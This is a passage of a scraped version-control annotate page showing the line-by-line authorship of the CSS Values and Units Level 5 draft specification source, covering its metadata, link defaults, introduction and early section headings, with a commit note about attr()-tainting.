CINXE.COM

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <link rel="icon" href="/drafts/static/hgicon.png" type="image/png" /> <meta name="robots" content="index, nofollow"/> <link rel="stylesheet" href="/drafts/static/style-monoblue.css" type="text/css" /> <script type="text/javascript" src="/drafts/static/mercurial.js"></script> <title>drafts: css-values-5/Overview.bs@929747cc36de (annotated)</title> <link rel="alternate" type="application/atom+xml" href="/drafts/atom-log" title="Atom feed for drafts"/> <link rel="alternate" type="application/rss+xml" href="/drafts/rss-log" title="RSS feed for drafts"/> </head> <body> <div id="container"> <div class="page-header"> <h1 class="breadcrumb"><a href="/">Mercurial</a> > <a href="/drafts">drafts</a> / annotate</h1> <form action="/drafts/log"> <dl class="search"> <dt><label>Search: </label></dt> <dd><input type="text" name="rev" /></dd> </dl> </form> <ul class="page-nav"> <li><a href="/drafts/summary">summary</a></li> <li><a href="/drafts/shortlog">shortlog</a></li> <li><a href="/drafts/log">changelog</a></li> <li><a href="/drafts/graph/929747cc36de">graph</a></li> <li><a href="/drafts/tags">tags</a></li> <li><a href="/drafts/bookmarks">bookmarks</a></li> <li><a href="/drafts/branches">branches</a></li> <li><a href="/drafts/file/929747cc36de/css-values-5/">files</a></li> <li><a href="/drafts/help">help</a></li> </ul> </div> <ul class="submenu"> <li><a href="/drafts/file/929747cc36de/css-values-5/Overview.bs">file</a></li> <li><a href="/drafts/log/929747cc36de/css-values-5/Overview.bs">revisions</a></li> <li class="current">annotate</li> <li><a href="/drafts/diff/929747cc36de/css-values-5/Overview.bs">diff</a></li> <li><a href="/drafts/comparison/929747cc36de/css-values-5/Overview.bs">comparison</a></li> <li><a href="/drafts/raw-annotate/929747cc36de/css-values-5/Overview.bs">raw</a></li> </ul> <h2 class="no-link no-border">css-values-5/Overview.bs@929747cc36de (annotated)</h2> <h3 class="changeset">css-values-5/Overview.bs</h3> <p class="changeset-age age">Fri, 22 Nov 2024 00:21:48 +0100</p> <dl class="overview"> <dt>author</dt> <dd>andruud <andruud@gmail.com></dd> <dt>date</dt> <dd>Fri, 22 Nov 2024 00:21:48 +0100</dd> <dt>changeset 31828</dt> <dd><a href="/drafts/rev/929747cc36de">929747cc36de</a></dd> <dt>parent 31802</dt> <dd> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs"> 5c6a7e6983f2 </a> </dd> <dt>permissions</dt> <dd>-rw-r--r--</dd> </dl> <p class="description">[css-values] Total attr()-tainting for substitution values (#11218)<br/> <br/> This may have been the intended meaning of the spec text already,<br/> but I think we should clearly state the outcome of #5092:<br/> partial tainting of custom properties was proposed in that issue,<br/> discussed, objected to, and therefore *not* accepted.<br/> <br/> This PR hopefully makes it clear that attr()-tainting applies<br/> to whole substitution values, for now.</p> <table class="annotated"> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l1" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1" id="l1"> 1</a> </td> <td class="source"><pre class='metadata'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l2" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l2" id="l2"> 2</a> </td> <td class="source">Title: CSS Values and Units Module Level 5 </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l3" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3" id="l3"> 3</a> </td> <td class="source">Group: CSSWG </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l4" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l4" id="l4"> 4</a> </td> <td class="source">Shortname: css-values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l5" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l5" id="l5"> 5</a> </td> <td class="source">Level: 5 </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l6" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l6" id="l6"> 6</a> </td> <td class="source">Status: WD </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7d9fd2e578a7/css-values-5/Overview.bs#l7" title="7d9fd2e578a7: [css-values-5] Mark as diff spec">fantasai@29865</a> </td> <td class="lineno"> <a href="#l7" id="l7"> 7</a> </td> <td class="source">Work Status: Exploring </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l8" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l8" id="l8"> 8</a> </td> <td class="source">ED: https://drafts.csswg.org/css-values-5/ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l9" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l9" id="l9"> 9</a> </td> <td class="source">TR: https://www.w3.org/TR/css-values-5/ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l10" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l10" id="l10"> 10</a> </td> <td class="source">Editor: Tab Atkins, Google, http://xanthir.com/contact/, w3cid 42199 </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f0086c440543/css-values-5/Overview.bs#l11" title="f0086c440543: [meta] Affiliation change">fantasai@30255</a> </td> <td class="lineno"> <a href="#l11" id="l11"> 11</a> </td> <td class="source">Editor: Elika J. Etemad / fantasai, Apple, http://fantasai.inkedblade.net/contact, w3cid 35400 </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3238edc977f6/css-values-5/Overview.bs#l12" title="3238edc977f6: [css-values-5][editorial] Add Miriam as editor - closes #10082">miriam@31054</a> </td> <td class="lineno"> <a href="#l12" id="l12"> 12</a> </td> <td class="source">Editor: Miriam E. Suzanne, Invited Expert, http://miriamsuzanne.com/contact, w3cid 117151 </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l12" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l13" id="l13"> 13</a> </td> <td class="source">Abstract: This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l14" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l14" id="l14"> 14</a> </td> <td class="source">Ignored Terms: <spacing-limit>, containing block, property, <wq-name> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l14" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l15" id="l15"> 15</a> </td> <td class="source">Ignored Vars: Cn+1, n </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l15" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l16" id="l16"> 16</a> </td> <td class="source">Inline Github Issues: no </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l16" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l17" id="l17"> 17</a> </td> <td class="source">Default Highlight: css </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/464880cb479c/css-values-5/Overview.bs#l18" title="464880cb479c: [css-values-4] Update status; add @scottkellum to acks">fantasai@31786</a> </td> <td class="lineno"> <a href="#l18" id="l18"> 18</a> </td> <td class="source">Status Text: <strong>This spec is in the early exploration phase. Feedback is welcome, and and major breaking changes are expected.</strong> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l17" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l19" id="l19"> 19</a> </td> <td class="source"></pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l18" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l20" id="l20"> 20</a> </td> <td class="source"><pre class='link-defaults'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l20" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l21" id="l21"> 21</a> </td> <td class="source">spec:css-color-4; type:property; text:color </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l20" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l22" id="l22"> 22</a> </td> <td class="source">spec:css-values-4; type: dfn; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l21" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l23" id="l23"> 23</a> </td> <td class="source"> text: determine the type of a calculation </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l22" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l24" id="l24"> 24</a> </td> <td class="source"> text: keyword </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l23" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l25" id="l25"> 25</a> </td> <td class="source"> text: identifier </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l21" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l26" id="l26"> 26</a> </td> <td class="source">spec:selectors-4; type: dfn; text: selector </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/60a56d7700a9/css-values-5/Overview.bs#l24" title="60a56d7700a9: [css-values-5][editorial] Changes for FPWD">chris@31506</a> </td> <td class="lineno"> <a href="#l27" id="l27"> 27</a> </td> <td class="source">spec:css-conditional-5; type:type; text:<size-feature> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/60a56d7700a9/css-values-5/Overview.bs#l25" title="60a56d7700a9: [css-values-5][editorial] Changes for FPWD">chris@31506</a> </td> <td class="lineno"> <a href="#l28" id="l28"> 28</a> </td> <td class="source">spec:css-conditional-5; type:dfn; text:container feature </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/60a56d7700a9/css-values-5/Overview.bs#l26" title="60a56d7700a9: [css-values-5][editorial] Changes for FPWD">chris@31506</a> </td> <td class="lineno"> <a href="#l29" id="l29"> 29</a> </td> <td class="source">spec:css-conditional-5; type:type; text:<container-name> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l30" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l30" id="l30"> 30</a> </td> <td class="source">spec:css-conditional-5; type:at-rule; text:@container </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l31" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l31" id="l31"> 31</a> </td> <td class="source">spec:css-conditional-5; type:type; text:<style-query> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l32" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l32" id="l32"> 32</a> </td> <td class="source">spec:css-conditional-5; type:type; text:<style-query> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l28" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l33" id="l33"> 33</a> </td> <td class="source">spec:css-mixins-1; type:dfn; text:custom function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l29" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l34" id="l34"> 34</a> </td> <td class="source">spec:css-properties-values-api; type:dfn; text: supported syntax component names </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l25" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l35" id="l35"> 35</a> </td> <td class="source">spec:html; type:element; text:link </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l31" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l36" id="l36"> 36</a> </td> <td class="source">spec:infra; type:dfn; text:list </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l19" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l37" id="l37"> 37</a> </td> <td class="source"></pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l20" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l38" id="l38"> 38</a> </td> <td class="source"><style> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l21" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l39" id="l39"> 39</a> </td> <td class="source">code, small { white-space: nowrap } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l22" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l40" id="l40"> 40</a> </td> <td class="source">pre.value { font: inherit; white-space: pre-wrap; margin: 0; padding: 0; } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l23" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l41" id="l41"> 41</a> </td> <td class="source">#propvalues td { text-align: right; } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l24" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l42" id="l42"> 42</a> </td> <td class="source">#propvalues td + td { text-align: left; } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l25" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l43" id="l43"> 43</a> </td> <td class="source">dt + dt::before { content: ", "; } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l26" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l44" id="l44"> 44</a> </td> <td class="source">dl:not(.switch) dt { display: inline; } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l27" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l45" id="l45"> 45</a> </td> <td class="source">td > small { display: block; } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l28" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l46" id="l46"> 46</a> </td> <td class="source"></style> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l29" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l47" id="l47"> 47</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l30" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l48" id="l48"> 48</a> </td> <td class="source"><h2 id="intro"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l31" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l49" id="l49"> 49</a> </td> <td class="source">Introduction</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l32" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l50" id="l50"> 50</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7d9fd2e578a7/css-values-5/Overview.bs#l34" title="7d9fd2e578a7: [css-values-5] Mark as diff spec">fantasai@29865</a> </td> <td class="lineno"> <a href="#l51" id="l51"> 51</a> </td> <td class="source"> ISSUE: <strong>This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.</strong> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l40" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l52" id="l52"> 52</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l41" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l53" id="l53"> 53</a> </td> <td class="source"><h3 id="placement"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l42" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l54" id="l54"> 54</a> </td> <td class="source">Module Interactions</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l43" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l55" id="l55"> 55</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7d9fd2e578a7/css-values-5/Overview.bs#l39" title="7d9fd2e578a7: [css-values-5] Mark as diff spec">fantasai@29865</a> </td> <td class="lineno"> <a href="#l56" id="l56"> 56</a> </td> <td class="source"> This module extends [[CSS-VALUES-4]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l45" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l57" id="l57"> 57</a> </td> <td class="source"> which replaces and extends the data type definitions in [[!CSS21]] sections </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l46" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l58" id="l58"> 58</a> </td> <td class="source"> <a href="https://www.w3.org/TR/CSS21/about.html#value-defs">1.4.2.1</a>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l47" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l59" id="l59"> 59</a> </td> <td class="source"> <a href="https://www.w3.org/TR/CSS21/syndata.html#values">4.3</a>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l48" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l60" id="l60"> 60</a> </td> <td class="source"> and <a href="https://www.w3.org/TR/CSS21/aural.html#aural-intro">A.2</a>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l49" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l61" id="l61"> 61</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l45" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l62" id="l62"> 62</a> </td> <td class="source"><h2 id="textual-values"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l46" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l63" id="l63"> 63</a> </td> <td class="source">Textual Data Types</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l47" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l64" id="l64"> 64</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l48" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l65" id="l65"> 65</a> </td> <td class="source"> See [[css-values-4#textual-values]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l49" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l66" id="l66"> 66</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l51" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l67" id="l67"> 67</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l52" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l68" id="l68"> 68</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l62" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l78" id="l78"> 78</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l63" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l79" id="l79"> 79</a> </td> <td class="source"><h2 id=value-defs> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l64" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l80" id="l80"> 80</a> </td> <td class="source">Value Definition Syntax</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l65" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l81" id="l81"> 81</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l66" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l82" id="l82"> 82</a> </td> <td class="source"> See [[css-values-4#value-defs]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l67" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l83" id="l83"> 83</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l80" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l84" id="l84"> 84</a> </td> <td class="source"> Additionally, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l81" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l85" id="l85"> 85</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l82" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l86" id="l86"> 86</a> </td> <td class="source"> <ol> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l83" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l87" id="l87"> 87</a> </td> <td class="source"> <li value=5>Boolean combinations of a conditional notation. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l84" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l88" id="l88"> 88</a> </td> <td class="source"> These are written using the <<boolean-expr[]>> notation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a 